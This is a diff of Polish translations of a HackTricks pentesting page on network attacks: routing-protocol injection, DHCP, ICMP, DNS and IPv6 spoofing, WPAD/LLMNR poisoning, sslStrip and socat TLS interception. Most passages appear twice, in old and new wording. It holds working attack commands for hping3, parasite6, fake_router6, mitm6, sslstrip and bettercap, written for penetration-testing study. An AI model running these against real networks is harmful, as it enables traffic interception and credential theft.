**EIGRP (Enhanced Interior Gateway Routing Protocol)** to dynamiczny protokół routingu. **Jest to protokół wektorów odległości.** Jeśli brak jest **uwierzytelniania** i konfiguracji interfejsów pasywnych, **intruz** może zakłócić routing EIGRP i spowodować **zatrucie tablic routingu**. Ponadto sieć EIGRP (inaczej mówiąc, system autonomiczny) **jest płaska i nie ma podziału na strefy**. Jeśli **atakujący wstrzyknie trasę**, istnieje duże prawdopodobieństwo, że ta trasa **rozprzestrzeni się** w całym autonomicznym systemie EIGRP.
|
||||
**EIGRP (Enhanced Interior Gateway Routing Protocol)** to dynamiczny protokół routingu. **Jest to protokół wektorowy odległości.** Jeśli nie ma **uwierzytelniania** i konfiguracji interfejsów pasywnych, **intruz** może zakłócić routowanie EIGRP i spowodować **zatrucie tabel routingu**. Ponadto sieć EIGRP (innymi słowy, autonomiczny system) **jest płaska i nie ma segmentacji na żadne strefy**. Jeśli **atakujący wstrzyknie trasę**, istnieje duże prawdopodobieństwo, że ta trasa **rozprzestrzeni się** w całym autonomicznym systemie EIGRP.
|
||||
|
||||
Aby zaatakować system EIGRP, konieczne jest **ustanowienie sąsiedztwa z prawidłowym routerem EIGRP**, co otwiera wiele możliwości, począwszy od podstawowej rekonesansu po różne wstrzyknięcia.
|
||||
Aby zaatakować system EIGRP, należy **nawiązać sąsiedztwo z legalnym routerem EIGRP**, co otwiera wiele możliwości, od podstawowego rozpoznania po różne wstrzyknięcia.
|
||||
|
||||
[**FRRouting**](https://frrouting.org/) pozwala wdrożyć **wirtualny router obsługujący BGP, OSPF, EIGRP, RIP i inne protokoły.** Wystarczy go wdrożyć na systemie atakującego, aby faktycznie udawać prawidłowy router w domenie routingu.
|
||||
[**FRRouting**](https://frrouting.org/) pozwala na wdrożenie **wirtualnego routera, który obsługuje BGP, OSPF, EIGRP, RIP i inne protokoły.** Wystarczy wdrożyć go na systemie atakującego, a można udawać legalny router w domenie routingu.
|
||||
|
||||
{% content-ref url="eigrp-attacks.md" %}
|
||||
[eigrp-attacks.md](eigrp-attacks.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
[**Coly**](https://code.google.com/p/coly/) posiada możliwości przechwytywania nadawanych komunikatów EIGRP (Enhanced Interior Gateway Routing Protocol). Umożliwia również wstrzykiwanie pakietów, które można wykorzystać do zmiany konfiguracji routingu.
|
||||
[**Coly**](https://code.google.com/p/coly/) ma możliwości przechwytywania rozgłoszeń EIGRP (Enhanced Interior Gateway Routing Protocol). Umożliwia również wstrzykiwanie pakietów, które mogą być wykorzystane do zmiany konfiguracji routingu.
|
||||
|
||||
### OSPF
|
||||
|
||||
W protokole Open Shortest Path First (OSPF) **często stosuje się uwierzytelnianie MD5 w celu zapewnienia bezpiecznej komunikacji między routerami**. Jednakże to zabezpieczenie może zostać złamane za pomocą narzędzi takich jak Loki i John the Ripper. Narzędzia te są zdolne do przechwytywania i łamania haseł MD5, ujawniając klucz uwierzytelniania. Gdy klucz ten zostanie uzyskany, można go użyć do wprowadzenia nowych informacji o trasowaniu. Aby skonfigurować parametry trasy i ustalić skompromitowany klucz, wykorzystywane są karty _Injection_ i _Connection_.
|
||||
W protokole Open Shortest Path First (OSPF) **powszechnie stosuje się uwierzytelnianie MD5, aby zapewnić bezpieczną komunikację między routerami**. Jednak ten środek bezpieczeństwa może być naruszony za pomocą narzędzi takich jak Loki i John the Ripper. Narzędzia te są w stanie przechwytywać i łamać hashe MD5, ujawniając klucz uwierzytelniający. Po uzyskaniu tego klucza można go użyć do wprowadzenia nowych informacji routingu. Aby skonfigurować parametry trasy i ustawić skompromitowany klucz, wykorzystuje się odpowiednio zakładki _Injection_ i _Connection_.
|
||||
|
||||
* **Przechwytywanie i Łamanie Haseł MD5:** Narzędzia takie jak Loki i John the Ripper są używane w tym celu.
|
||||
* **Konfigurowanie Parametrów Trasy:** Wykonywane jest to za pomocą karty _Injection_.
|
||||
* **Ustawianie Skompromitowanego Klucza:** Klucz jest konfigurowany w karcie _Connection_.
|
||||
* **Przechwytywanie i łamanie hashy MD5:** Narzędzia takie jak Loki i John the Ripper są używane do tego celu.
|
||||
* **Konfigurowanie parametrów trasy:** Odbywa się to za pośrednictwem zakładki _Injection_.
|
||||
* **Ustawianie skompromitowanego klucza:** Klucz jest konfigurowany w zakładce _Connection_.
|
||||
|
||||
### Inne Ogólne Narzędzia i Źródła
|
||||
### Other Generic Tools & Sources
|
||||
|
||||
* [**Above**](https://github.com/c4s73r/Above): Narzędzie do skanowania ruchu sieciowego i znajdowania podatności
|
||||
* Możesz znaleźć **więcej informacji na temat ataków sieciowych** [**tutaj**](https://github.com/Sab0tag3d/MITM-cheatsheet).
|
||||
* [**Above**](https://github.com/c4s73r/Above): Narzędzie do skanowania ruchu sieciowego i znajdowania luk
|
||||
* Możesz znaleźć **więcej informacji o atakach sieciowych** [**tutaj**](https://github.com/Sab0tag3d/MITM-cheatsheet).
|
||||
|
||||
## **Podszywanie**
|
||||
## **Spoofing**
|
||||
|
||||
Atakujący konfiguruje wszystkie parametry sieciowe (bramka, IP, DNS) nowego członka sieci, wysyłając fałszywe odpowiedzi DHCP.
|
||||
Atakujący konfiguruje wszystkie parametry sieciowe (GW, IP, DNS) nowego członka sieci, wysyłając fałszywe odpowiedzi DHCP.
|
||||
```bash
|
||||
Ettercap
|
||||
yersinia dhcp -attack 2 #More parameters are needed
|
||||
|
@ -607,26 +612,26 @@ Sprawdź [poprzednią sekcję](./#arp-spoofing).
|
|||
|
||||
### ICMPRedirect
|
||||
|
||||
ICMP Redirect polega na wysyłaniu pakietu ICMP typu 1, kod 5, który wskazuje, że atakujący jest najlepszą drogą do osiągnięcia danego adresu IP. Następnie, gdy ofiara chce skontaktować się z tym adresem IP, pakiet zostanie wysłany przez atakującego.
|
||||
ICMP Redirect polega na wysyłaniu pakietu ICMP typu 1 kod 5, który wskazuje, że atakujący jest najlepszym sposobem na dotarcie do danego adresu IP. Następnie, gdy ofiara chce skontaktować się z tym adresem IP, wyśle pakiet przez atakującego.
|
||||
```bash
|
||||
Ettercap
|
||||
icmp_redirect
|
||||
hping3 [VICTIM IP ADDRESS] -C 5 -K 1 -a [VICTIM DEFAULT GW IP ADDRESS] --icmp-gw [ATTACKER IP ADDRESS] --icmp-ipdst [DST IP ADDRESS] --icmp-ipsrc [VICTIM IP ADDRESS] #Send icmp to [1] form [2], route to [3] packets sent to [4] from [5]
|
||||
```
|
||||
### Podmiana DNS
|
||||
### DNS Spoofing
|
||||
|
||||
Atakujący będzie rozwiązywał niektóre (lub wszystkie) domeny, o które prosi ofiara.
|
||||
Atakujący rozwiąże niektóre (lub wszystkie) domeny, o które pyta ofiara.
|
||||
```bash
|
||||
set dns.spoof.hosts ./dns.spoof.hosts; dns.spoof on
|
||||
```
|
||||
**Skonfiguruj własne DNS z dnsmasq**
|
||||
**Skonfiguruj własny DNS za pomocą dnsmasq**
|
||||
```bash
|
||||
apt-get install dnsmasqecho "addn-hosts=dnsmasq.hosts" > dnsmasq.conf #Create dnsmasq.confecho "127.0.0.1 domain.example.com" > dnsmasq.hosts #Domains in dnsmasq.hosts will be the domains resolved by the Dsudo dnsmasq -C dnsmasq.conf --no-daemon
|
||||
dig @localhost domain.example.com # Test the configured DNS
|
||||
```
|
||||
### Lokalne Bramy
|
||||
### Local Gateways
|
||||
|
||||
Często istnieje wiele tras do systemów i sieci. Po zbudowaniu listy adresów MAC w lokalnej sieci, użyj _gateway-finder.py_ do zidentyfikowania hostów obsługujących przekazywanie IPv4.
|
||||
Wiele tras do systemów i sieci często istnieje. Po zbudowaniu listy adresów MAC w lokalnej sieci, użyj _gateway-finder.py_, aby zidentyfikować hosty, które obsługują przekazywanie IPv4.
|
||||
```
|
||||
root@kali:~# git clone https://github.com/pentestmonkey/gateway-finder.git
|
||||
root@kali:~# cd gateway-finder/
|
||||
|
@ -644,58 +649,58 @@ gateway-finder v1.0 http://pentestmonkey.net/tools/gateway-finder
|
|||
[+] We can ping 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]
|
||||
[+] We can reach TCP port 80 on 209.85.227.99 via 00:13:72:09:AD:76 [10.0.0.100]
|
||||
```
|
||||
### [Podrabianie LLMNR, NBT-NS i mDNS](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
### [Spoofing LLMNR, NBT-NS, i mDNS](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
|
||||
Dla lokalnego rozwiązywania nazw hostów, gdy zapytania DNS są nieudane, systemy Microsoft polegają na **Link-Local Multicast Name Resolution (LLMNR)** oraz na **NetBIOS Name Service (NBT-NS)**. Podobnie, **Apple Bonjour** oraz implementacje **zero-configuration w systemach Linux** wykorzystują **Multicast DNS (mDNS)** do odkrywania systemów w sieci. Ze względu na nieuwierzytelniony charakter tych protokołów oraz ich działanie poprzez UDP, wysyłanie komunikatów do wszystkich, mogą być wykorzystane przez atakujących, którzy chcą przekierować użytkowników do złośliwych usług.
|
||||
Do lokalnego rozwiązywania hostów, gdy zapytania DNS są nieudane, systemy Microsoftu polegają na **Link-Local Multicast Name Resolution (LLMNR)** i **NetBIOS Name Service (NBT-NS)**. Podobnie, **Apple Bonjour** i implementacje **Linux zero-configuration** wykorzystują **Multicast DNS (mDNS)** do odkrywania systemów w sieci. Z powodu nieautoryzowanej natury tych protokołów i ich działania przez UDP, wysyłając wiadomości, mogą być wykorzystywane przez atakujących, którzy mają na celu przekierowanie użytkowników do złośliwych usług.
|
||||
|
||||
Możesz podszywać się pod usługi, które są wyszukiwane przez hosty, używając narzędzia Responder do wysyłania fałszywych odpowiedzi.\
|
||||
Dowiedz się więcej o [jak podszywać się pod usługi za pomocą Responder](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
|
||||
Możesz podszywać się pod usługi, które są wyszukiwane przez hosty, używając Respondera do wysyłania fałszywych odpowiedzi.\
|
||||
Przeczytaj tutaj więcej informacji o tym, [jak podszywać się pod usługi za pomocą Respondera](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
|
||||
|
||||
### [Podrabianie WPAD](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
### [Spoofing WPAD](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md)
|
||||
|
||||
Przeglądarki zazwyczaj korzystają z protokołu **Web Proxy Auto-Discovery (WPAD)** do automatycznego pobierania ustawień proxy. Polega to na pobieraniu szczegółów konfiguracji z serwera, konkretnie poprzez adres URL, takiego jak "http://wpad.example.org/wpad.dat". Odkrycie tego serwera przez klientów może nastąpić poprzez różne mechanizmy:
|
||||
Przeglądarki powszechnie wykorzystują **protokół Web Proxy Auto-Discovery (WPAD) do automatycznego pozyskiwania ustawień proxy**. Obejmuje to pobieranie szczegółów konfiguracyjnych z serwera, konkretnie przez URL taki jak "http://wpad.example.org/wpad.dat". Odkrycie tego serwera przez klientów może odbywać się za pomocą różnych mechanizmów:
|
||||
|
||||
* Poprzez **DHCP**, gdzie odkrycie jest ułatwione poprzez wykorzystanie specjalnego wpisu kodu 252.
|
||||
* Poprzez **DNS**, co polega na wyszukiwaniu nazwy hosta oznaczonej jako _wpad_ w domenie lokalnej.
|
||||
* Przez **DHCP**, gdzie odkrycie jest ułatwione przez wykorzystanie specjalnego kodu 252.
|
||||
* Poprzez **DNS**, co polega na wyszukiwaniu nazwy hosta oznaczonej jako _wpad_ w lokalnej domenie.
|
||||
* Za pomocą **Microsoft LLMNR i NBT-NS**, które są mechanizmami zapasowymi używanymi w przypadkach, gdy zapytania DNS nie powiodą się.
|
||||
|
||||
Narzędzie Responder wykorzystuje ten protokół, działając jako **złośliwy serwer WPAD**. Wykorzystuje DHCP, DNS, LLMNR i NBT-NS, aby wprowadzić klientów w błąd i skłonić ich do połączenia się z nim. Aby zagłębić się w to, jak usługi mogą być podszywane za pomocą Responder, [sprawdź to](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
|
||||
Narzędzie Responder wykorzystuje ten protokół, działając jako **złośliwy serwer WPAD**. Używa DHCP, DNS, LLMNR i NBT-NS, aby wprowadzić klientów w błąd, zmuszając ich do połączenia się z nim. Aby zgłębić, jak można podszywać się pod usługi za pomocą Respondera, [sprawdź to](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).
|
||||
|
||||
### [Podrabianie urządzeń SSDP i UPnP](spoofing-ssdp-and-upnp-devices.md)
|
||||
### [Spoofing urządzeń SSDP i UPnP](spoofing-ssdp-and-upnp-devices.md)
|
||||
|
||||
Możesz oferować różne usługi w sieci, aby **oszukać użytkownika** i skłonić go do podania **hasła w postaci zwykłego tekstu**. **Więcej informacji na temat tego ataku w** [**Podrabianie urządzeń SSDP i UPnP**](spoofing-ssdp-and-upnp-devices.md)**.**
|
||||
Możesz oferować różne usługi w sieci, aby spróbować **oszukać użytkownika**, aby wprowadził jakieś **jawne dane logowania**. **Więcej informacji o tym ataku w** [**Spoofing SSDP i UPnP Devices**](spoofing-ssdp-and-upnp-devices.md)**.**
|
||||
|
||||
### Podrabianie sąsiadów IPv6
|
||||
### Spoofing sąsiadów IPv6
|
||||
|
||||
Ten atak jest bardzo podobny do Podrabiania ARP, ale w świecie IPv6. Możesz sprawić, że ofiara uwierzy, iż adres IPv6 bramy ma MAC atakującego.
|
||||
Ten atak jest bardzo podobny do ARP Spoofing, ale w świecie IPv6. Możesz sprawić, że ofiara pomyśli, że IPv6 GW ma MAC atakującego.
|
||||
```bash
|
||||
sudo parasite6 -l eth0 # This option will respond to every requests spoofing the address that was requested
|
||||
sudo fake_advertise6 -r -w 2 eth0 <Router_IPv6> #This option will send the Neighbor Advertisement packet every 2 seconds
|
||||
```
|
||||
### Podrobienie/Przepełnienie Reklamy Routera IPv6
|
||||
### IPv6 Router Advertisement Spoofing/Flooding
|
||||
|
||||
Niektóre systemy operacyjne domyślnie konfigurują bramę z pakietów RA wysyłanych w sieci. Aby ogłosić atakującego jako router IPv6, można użyć:
|
||||
Niektóre systemy operacyjne domyślnie konfigurują bramę na podstawie pakietów RA wysyłanych w sieci. Aby zadeklarować atakującego jako router IPv6, możesz użyć:
|
||||
```bash
|
||||
sysctl -w net.ipv6.conf.all.forwarding=1 4
|
||||
ip route add default via <ROUTER_IPv6> dev wlan0
|
||||
fake_router6 wlan0 fe80::01/16
|
||||
```
|
||||
### Podrabianie DHCP w IPv6
|
||||
### IPv6 DHCP spoofing
|
||||
|
||||
Domyślnie niektóre systemy operacyjne próbują skonfigurować DNS, czytając pakiet DHCPv6 w sieci. Następnie atakujący mógłby wysłać pakiet DHCPv6, aby skonfigurować siebie jako DNS. DHCP również dostarcza adres IPv6 ofierze.
|
||||
Domyślnie niektóre systemy operacyjne próbują skonfigurować DNS, odczytując pakiet DHCPv6 w sieci. Wtedy atakujący może wysłać pakiet DHCPv6, aby skonfigurować się jako DNS. DHCP zapewnia również ofierze adres IPv6.
|
||||
```bash
|
||||
dhcp6.spoof on
|
||||
dhcp6.spoof.domains <list of domains>
|
||||
|
||||
mitm6
|
||||
```
|
||||
### HTTP (fałszywa strona i wstrzyknięcie kodu JS)
|
||||
### HTTP (fałszywa strona i wstrzykiwanie kodu JS)
|
||||
|
||||
## Ataki internetowe
|
||||
## Ataki w Internecie
|
||||
|
||||
### sslStrip
|
||||
|
||||
Podstawowo, co robi ten atak, to w przypadku gdy **użytkownik** próbuje **uzyskać dostęp** do strony **HTTP**, która jest **przekierowywana** na wersję **HTTPS**, **sslStrip** będzie **utrzymywał** połączenie **HTTP z** klientem i połączenie **HTTPS z** serwerem, dzięki czemu będzie mógł **przechwycić** połączenie w **czystym tekście**.
|
||||
W zasadzie to, co robi ten atak, to w przypadku, gdy **użytkownik** próbuje **uzyskać dostęp** do strony **HTTP**, która jest **przekierowywana** na wersję **HTTPS**. **sslStrip** **utrzymuje** połączenie **HTTP z** **klientem** i połączenie **HTTPS z** **serwerem**, dzięki czemu będzie w stanie **podsłuchiwać** połączenie w **czystym tekście**.
|
||||
```bash
|
||||
apt-get install sslstrip
|
||||
sslstrip -w /tmp/sslstrip.log --all - l 10000 -f -k
|
||||
|
@ -706,16 +711,16 @@ iptables -A INPUT -p tcp --destination-port 10000 -j ACCEPT
|
|||
```
|
||||
Więcej informacji [tutaj](https://www.blackhat.com/presentations/bh-dc-09/Marlinspike/BlackHat-DC-09-Marlinspike-Defeating-SSL.pdf).
|
||||
|
||||
### sslStrip+ i dns2proxy do obejścia HSTS
|
||||
### sslStrip+ i dns2proxy do omijania HSTS
|
||||
|
||||
**Różnica** między **sslStrip+ a dns2proxy** a **sslStrip** polega na tym, że będą **przekierowywać** na przykład _**www.facebook.com**_ **na** _**wwww.facebook.com**_ (zauważ dodatkowe "**w**") i ustawiać **adres tego domeny jako IP atakującego**. W ten sposób **klient** będzie **łączył się** z _**wwww.facebook.com**_ (atakujący), ale za kulisami **sslstrip+** będzie **utrzymywał** **rzeczywiste połączenie** za pośrednictwem https z **www.facebook.com**.
|
||||
**Różnica** między **sslStrip+ a dns2proxy** a **sslStrip** polega na tym, że będą **przekierowywać** na przykład _**www.facebook.com**_ **na** _**wwww.facebook.com**_ (zauważ **dodatkowe** "**w**") i ustawią **adres tej domeny jako IP atakującego**. W ten sposób **klient** będzie **łączyć się** z _**wwww.facebook.com**_ **(atakujący)**, ale w tle **sslstrip+** będzie **utrzymywać** **prawdziwe połączenie** przez https z **www.facebook.com**.
|
||||
|
||||
**Celem** tej techniki jest **unikanie HSTS**, ponieważ _**wwww**.facebook.com_ **nie** zostanie zapisane w **pamięci podręcznej** przeglądarki, dzięki czemu przeglądarka zostanie oszukana, aby wykonać **uwierzytelnianie Facebooka w protokole HTTP**.\
|
||||
Zauważ, że aby przeprowadzić ten atak, ofiara musi spróbować uzyskać początkowy dostęp do [http://www.faceook.com](http://www.faceook.com), a nie https. Można to zrobić, modyfikując linki wewnątrz strony http.
|
||||
**Celem** tej techniki jest **unikanie HSTS**, ponieważ _**wwww**.facebook.com_ **nie będzie** zapisane w **pamięci podręcznej** przeglądarki, więc przeglądarka zostanie oszukana, aby wykonać **uwierzytelnienie facebooka w HTTP**.\
|
||||
Zauważ, że aby przeprowadzić ten atak, ofiara musi najpierw spróbować uzyskać dostęp do [http://www.faceook.com](http://www.faceook.com), a nie https. Można to zrobić, modyfikując linki wewnątrz strony http.
|
||||
|
||||
Więcej informacji [tutaj](https://www.bettercap.org/legacy/#hsts-bypass), [tutaj](https://www.slideshare.net/Fatuo\_\_/offensive-exploiting-dns-servers-changes-blackhat-asia-2014) i [tutaj](https://security.stackexchange.com/questions/91092/how-does-bypassing-hsts-with-sslstrip-work-exactly).
|
||||
|
||||
**sslStrip lub sslStrip+ już nie działają. Dzieje się tak, ponieważ w przeglądarkach zapisane są reguły HSTS, więc nawet jeśli użytkownik pierwszy raz próbuje uzyskać dostęp do "ważnej" domeny, uzyska do niej dostęp za pośrednictwem HTTPS. Zauważ również, że zapisane reguły i inne generowane reguły mogą używać flagi** [**`includeSubdomains`**](https://hstspreload.appspot.com) **więc przykład z _**wwww.facebook.com**_ sprzed chwili już nie zadziała, ponieważ** _**facebook.com**_ **korzysta z HSTS z `includeSubdomains`.**
|
||||
**sslStrip lub sslStrip+ nie działają już. Dzieje się tak, ponieważ w przeglądarkach są zapisane zasady HSTS, więc nawet jeśli to pierwszy raz, gdy użytkownik uzyskuje dostęp do "ważnej" domeny, uzyska do niej dostęp przez HTTPS. Zauważ również, że zapisane zasady i inne generowane zasady mogą używać flagi** [**`includeSubdomains`**](https://hstspreload.appspot.com) **więc przykład** _**wwww.facebook.com**_ **z poprzedniego nie zadziała, ponieważ** _**facebook.com**_ **używa HSTS z `includeSubdomains`.**
|
||||
|
||||
TODO: easy-creds, evilgrade, metasploit, factory
|
||||
|
||||
|
@ -724,9 +729,9 @@ TODO: easy-creds, evilgrade, metasploit, factory
|
|||
sudo nc -l -p 80
|
||||
socat TCP4-LISTEN:80,fork,reuseaddr -
|
||||
```
|
||||
## Nasłuch TCP + SSL na porcie
|
||||
## TCP + SSL nasłuch na porcie
|
||||
|
||||
#### Generowanie kluczy i samopodpisanego certyfikatu
|
||||
#### Wygeneruj klucze i certyfikat samopodpisany
|
||||
```
|
||||
FILENAME=server
|
||||
# Generate a public/private key pair:
|
||||
|
@ -740,14 +745,14 @@ cat $FILENAME.key $FILENAME.crt >$FILENAME.pem
|
|||
```
|
||||
sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 -
|
||||
```
|
||||
#### Słuchaj za pomocą certyfikatu i przekieruj do hostów
|
||||
#### Słuchaj używając certyfikatu i przekieruj do hostów
|
||||
```
|
||||
sudo socat -v -v openssl-listen:443,reuseaddr,fork,cert=$FILENAME.pem,cafile=$FILENAME.crt,verify=0 openssl-connect:[SERVER]:[PORT],verify=0
|
||||
```
|
||||
Czasami, jeśli klient sprawdza, czy CA jest ważne, możesz **udostępnić certyfikat innego hosta podpisany przez CA**.\
|
||||
Innym interesującym testem jest udostępnienie **certyfikatu żądanego hosta, ale samopodpisanego**.
|
||||
Czasami, jeśli klient sprawdzi, że CA jest ważne, możesz **serwować certyfikat innej nazwy hosta podpisany przez CA**.\
|
||||
Innym interesującym testem jest **serwowanie certyfikatu żądanej nazwy hosta, ale samopodpisanego**.
|
||||
|
||||
Inne rzeczy do przetestowania to próba podpisania certyfikatu ważnym certyfikatem, który nie jest ważnym CA. Lub użycie ważnego klucza publicznego, zmuszenie do użycia algorytmu takiego jak Diffie-Hellman (który nie wymaga odszyfrowania niczego za pomocą prawdziwego klucza prywatnego) i gdy klient żąda sondy prawdziwego klucza prywatnego (jak skrótu), wysłanie fałszywej sondy i oczekiwanie, że klient tego nie sprawdzi.
|
||||
Inne rzeczy do przetestowania to próba podpisania certyfikatu ważnym certyfikatem, który nie jest ważnym CA. Lub użycie ważnego klucza publicznego, wymuszenie użycia algorytmu takiego jak Diffie-Hellman (takiego, który nie wymaga odszyfrowania czegokolwiek za pomocą rzeczywistego klucza prywatnego) i gdy klient poprosi o próbkę rzeczywistego klucza prywatnego (jak hasz), wysłanie fałszywej próbki i oczekiwanie, że klient tego nie sprawdzi.
|
||||
|
||||
## Bettercap
|
||||
```bash
|
||||
|
@ -775,17 +780,17 @@ set wifi.ap.channel 5
|
|||
set wifi.ap.encryption false #If true, WPA2
|
||||
wifi.recon on; wifi.ap
|
||||
```
|
||||
### Aktywne notatki dotyczące odkrywania
|
||||
### Notatki dotyczące aktywnego odkrywania
|
||||
|
||||
Należy wziąć pod uwagę, że gdy pakiet UDP jest wysyłany do urządzenia, które nie ma żądanego portu, wysyłany jest ICMP (Port Unreachable).
|
||||
Weź pod uwagę, że gdy pakiet UDP jest wysyłany do urządzenia, które nie ma żądanego portu, wysyłany jest pakiet ICMP (Port Unreachable).
|
||||
|
||||
### **Odkrywanie ARP**
|
||||
### **ARP discover**
|
||||
|
||||
Pakiety ARP są używane do odkrywania, które adresy IP są używane w sieci. Komputer musi wysłać żądanie dla każdego możliwego adresu IP, a tylko te, które są używane, odpowiedzą.
|
||||
Pakiety ARP są używane do odkrywania, które adresy IP są używane w sieci. Komputer musi wysłać zapytanie dla każdego możliwego adresu IP, a tylko te, które są używane, odpowiedzą.
|
||||
|
||||
### **mDNS (multicast DNS)**
|
||||
|
||||
Bettercap wysyła żądanie MDNS (co X ms) pytając o **\_services\_.dns-sd.\_udp.local**. Maszyna, która widzi ten pakiet, zazwyczaj odpowiada na to żądanie. Następnie wyszukuje tylko maszyny odpowiadające na "services".
|
||||
Bettercap wysyła zapytanie MDNS (co X ms) pytając o **\_services\_.dns-sd.\_udp.local**, maszyna, która widzi ten pakiet, zazwyczaj odpowiada na to zapytanie. Następnie wyszukuje tylko maszyny odpowiadające na "services".
|
||||
|
||||
**Narzędzia**
|
||||
|
||||
|
@ -795,38 +800,39 @@ Bettercap wysyła żądanie MDNS (co X ms) pytając o **\_services\_.dns-sd.\_ud
|
|||
|
||||
### **NBNS (NetBios Name Server)**
|
||||
|
||||
Bettercap wysyła pakiety rozgłoszeniowe do portu 137/UDP pytając o nazwę "CKAAAAAAAAAAAAAAAAAAAAAAAAAAA".
|
||||
Bettercap rozsyła pakiety do portu 137/UDP pytając o nazwę "CKAAAAAAAAAAAAAAAAAAAAAAAAAAA".
|
||||
|
||||
### **SSDP (Simple Service Discovery Protocol)**
|
||||
|
||||
Bettercap wysyła pakiety SSDP rozgłaszając poszukiwanie wszelkiego rodzaju usług (Port UDP 1900).
|
||||
Bettercap rozsyła pakiety SSDP w poszukiwaniu wszelkiego rodzaju usług (UDP Port 1900).
|
||||
|
||||
### **WSD (Web Service Discovery)**
|
||||
|
||||
Bettercap wysyła pakiety WSD rozgłaszając poszukiwanie usług (Port UDP 3702).
|
||||
Bettercap rozsyła pakiety WSD w poszukiwaniu usług (UDP Port 3702).
|
||||
|
||||
## Odnośniki
|
||||
## Referencje
|
||||
|
||||
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
* **Network Security Assessment: Know Your Network (3rd edition)**
|
||||
* **Practical IoT Hacking: The Definitive Guide to Attacking the Internet of Things. By Fotios Chantzis, Ioannis Stais, Paulino Calderon, Evangelos Deirmentzoglou, Beau Wood**
|
||||
* **Ocena bezpieczeństwa sieci: Poznaj swoją sieć (3. wydanie)**
|
||||
* **Praktyczne Hacking IoT: Ostateczny przewodnik po atakowaniu Internetu Rzeczy. Autorzy: Fotios Chantzis, Ioannis Stais, Paulino Calderon, Evangelos Deirmentzoglou, Beau Wood**
|
||||
* [https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@cursedpkt/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
|
||||
|
||||
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
|
||||
**Wskazówka dotycząca bug bounty**: **Zarejestruj się** na platformie **Intigriti**, premium platformie **bug bounty stworzonej przez hakerów, dla hakerów**! Dołącz do nas na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) już dziś i zacznij zarabiać nagrody aż do **$100,000**!
|
||||
**Wskazówka dotycząca bug bounty**: **zarejestruj się** w **Intigriti**, premium **platformie bug bounty stworzonej przez hakerów, dla hakerów**! Dołącz do nas na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) już dziś i zacznij zarabiać nagrody do **100 000 $**!
|
||||
|
||||
{% embed url="https://go.intigriti.com/hacktricks" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Dowiedz się, jak hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Podziel się trikami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,35 +1,36 @@
|
|||
# Testowanie penetracyjne Wifi
|
||||
# Pentesting Wifi
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
